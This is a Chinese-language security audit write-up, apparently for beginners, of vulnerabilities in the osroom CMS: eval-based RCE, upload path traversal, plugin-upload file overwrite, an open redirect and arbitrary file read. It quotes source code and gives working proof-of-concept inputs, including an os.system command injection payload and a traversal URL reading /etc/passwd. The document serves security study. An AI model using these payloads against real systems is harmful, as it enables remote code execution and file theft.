osroom
这个cms很有意思,从漏洞和程序的写法上,很适合用来入门学习,漏洞的一些形式相比来说,也比较多一点。
RCE
apps\utils\format\obj_format.py
如下,文件中采用了eval来转换字符串对象,当json.loads转换失败的时候,则直接使用eval来转换。
def json_to_pyseq(tjson):
"""
json to python sequencer
:param json:
:return:
"""
if tjson in [None, "None"]:
return None
elif not isinstance(tjson, (list, dict, tuple)) and tjson != "":
if isinstance(tjson, (str, bytes)) and tjson[0] not in ["{", "[", "("]:
return tjson
elif isinstance(tjson, (int, float)):
return tjson
try:
tjson = json.loads(tjson)
except BaseException:
tjson = eval(tjson)
else:
if isinstance(tjson, str):
tjson = eval(tjson)
return tjson
转到一个使用此方法的功能,例如apps\modules\audit\process\rules.py
删除规则处,传入一个ids参数,原参数值是一个hash值,但是可以修改为python代码。
def audit_rule_delete():
ids = json_to_pyseq(request.argget.all('ids', []))
if not isinstance(ids, list):
ids = json.loads(ids)
for i, tid in enumerate(ids):
ids[i] = ObjectId(tid)
r = mdbs["sys"].db.audit_rules.delete_many({"_id": {"$in": ids}})
if r.deleted_count > 0:
data = {"msg": gettext("Delete the success,{}").format(
r.deleted_count), "msg_type": "s", "custom_status": 204}
else:
data = {
"msg": gettext("Delete failed"),
"msg_type": "w",
"custom_status": 400}
return data
参数POC: {123:__import__('os').system('whoami')}
,查看终端输出。
只要涉及到ids参数的都存在此问题,比如另一个类别删除功能。
在用户登陆的判断中,也对传入的参数code_url_obj
执行了此方法,所以存在一个前台的RCE
apps\modules\user\process\online.py
code_url_obj = json_to_pyseq(request.argget.all('code_url_obj', {}))
文件覆盖
apps\utils\upload\file_up.py
ps: 此问题没有复现,理论上存在。
代码描述了一种上传typroa图像base64后处理来保存写入文件的方式,其中后缀是解析typroa图像base64开头得到,例如
data:image/jpg;base64,
获得后缀为jpg,在后续的文件明拼接中,文件名被以时间戳和UUID重写构造,但是后缀可控,可以写入..\..\
形式的遍历data:image/jpg\..\..\..\..\tmp;base64
def fileup_base_64(uploaded_files, file_name=None, prefix=""):
"""
文件以base64编码上传上传
:param uploaded_files: 数组
:param bucket_var: 保存typroa图像服务器空间名的变量名, 如AVA_B
:param file_name:
:return:
"""
if not uploaded_files:
return None
keys = []
for file_base in uploaded_files:
if file_base:
# data:image/jpeg
file_format = file_base.split(";")[0].split("/")[-1]
imgdata = base64.b64decode(file_base.split(",")[-1])
if file_name:
filename = '{}.{}'.format(file_name, file_format)
else:
filename = '{}_{}.{}'.format(
time_to_utcdate(
time_stamp=time.time(),
tformat="%Y%m%d%H%M%S"),
uuid1(),
file_format)
传入后可以造成一种保存文件到其他目录的效果,这种遍历在Linux下是不允许的,但在Windows下可执行,win支持及../
和..\
,还可以文件结尾的回退遍历,所以在Windows下可以造成覆写。
由于兼容性,Windows下有个别的包兼容有问题,并没有复现,附一张Linux的目录构造图
上传文件覆盖
如果上面那个不是很清楚,这个就比较明显了,插件上传功能中。
apps\modules\plug_in_manager\process\manager.py
def upload_plugin():
"""
插件上传
:return:
"""
file = request.files["upfile"]
file_name = os.path.splitext(file.filename) #('123','.zip')
filename = os.path.splitext(file.filename)[0] #123
extension = file_name[1] #.zip
if not extension.strip(".").lower() in ["zip"]:
data = {"msg": gettext("File format error, please upload zip archive"),
"msg_type": "w", "custom_status": 401}
return data
if not os.path.exists(PLUG_IN_FOLDER): #osroom/apps/plugins
os.makedirs(PLUG_IN_FOLDER)
fpath = os.path.join(PLUG_IN_FOLDER, filename) ##osroom/apps/plugins/123
if os.path.isdir(fpath) or os.path.exists(fpath):
if mdbs["sys"].db.plugin.find_one(
{"plugin_name": filename, "is_deleted": {"$in": [0, False]}}):
# 如果插件没有准备删除标志
data = {"msg": gettext("The same name plugin already exists"),
"msg_type": "w", "custom_status": 403}
return data
else:
# 否则清除旧的插件
shutil.rmtree(fpath)
mdbs["sys"].db.plugin.update_one({"plugin_name": filename}, {
"$set": {"is_deleted": 0}})
# 保存主题
save_file = os.path.join("{}/{}".format(PLUG_IN_FOLDER, file.filename)) ##osroom/apps/plugins/123.zip
file.save(save_file)
上传文件后分割文件和后缀,判断插件是否存在以及是否清理就插件,在下面保存的时候,直接使用了上传的参数名做拼接,导致可以被跨目录保存,比如文件应该保存到osroom/apps/plugins/
下,上传如下
我们在系统查看
路径跳转
apps\modules\user\process\sign_in.py
ps:此问题影响较小,当作分析即可
在代码中存在一个获取值的参数next
,这个参数是登陆的时候默认没有存在,可能是为了跳转登陆留下的参数。参数值为任意值的时候,返回的to_url
的值就为参数值。
def p_sign_in(
username,
password,
code_url_obj,
code,
remember_me,
use_jwt_auth=0):
"""
用户登录函数
:param adm:
:return:
"""
data = {}
if current_user.is_authenticated and username in [current_user.username,
current_user.email,
current_user.mphone_num]:
data['msg'] = gettext("Is logged in")
data["msg_type"] = "s"
data["custom_status"] = 201
data['to_url'] = request.argget.all(
'next') or get_config("login_manager", "LOGIN_IN_TO")
return data
然后在前端js中apps\admin_pages\pages\sign-in.html
直接获取响应的data的to_url进行跳转,类似于统一登陆中的任意域跳转的问题。
var result = osrHttp("PUT","/api/sign-in", d);
result.then(function (r) {
if(r.data.msg_type=="s"){
window.location.href = r.data/to_url;
}else if(r.data.open_img_verif_code){
get_imgcode();
}
}).catch(function (r) {
if(r.data.open_img_verif_code){
get_imgcode();
}
});
任意文件读取
apps\modules\theme_setting\process\static_file.py
读取静态文件模板的时候,直接使用了请求的参数进行拼接访问,导致可以任意读取文件
def get_static_file_content():
"""
获取静态文件内容, 如html文件
:return:
"""
filename = request.argget.all('filename', "index").strip("/")
file_path = request.argget.all('file_path', "").strip("/")
theme_name = request.argget.all("theme_name")
s, r = arg_verify([(gettext("theme name"), theme_name)], required=True)
if not s:
return r
path = os.path.join(
THEME_TEMPLATE_FOLDER, theme_name)
file = "{}/{}/{}".format(path, file_path, filename)
if not os.path.exists(file) or THEME_TEMPLATE_FOLDER not in file:
data = {"msg": gettext("File not found,'{}'").format(file),
"msg_type": "w", "custom_status": 404}
else:
with open(file) as wf:
content = wf.read()
data = {
"content": content,
"file_relative_path": file_path.replace(
path,
"").strip("/")}
return data
构造POC:http://192.168.120.128:5000/api/admin/static/file?file_path=pages/account/settings/../../../../../../../../etc&filename=passwd&theme_name=osr-theme-w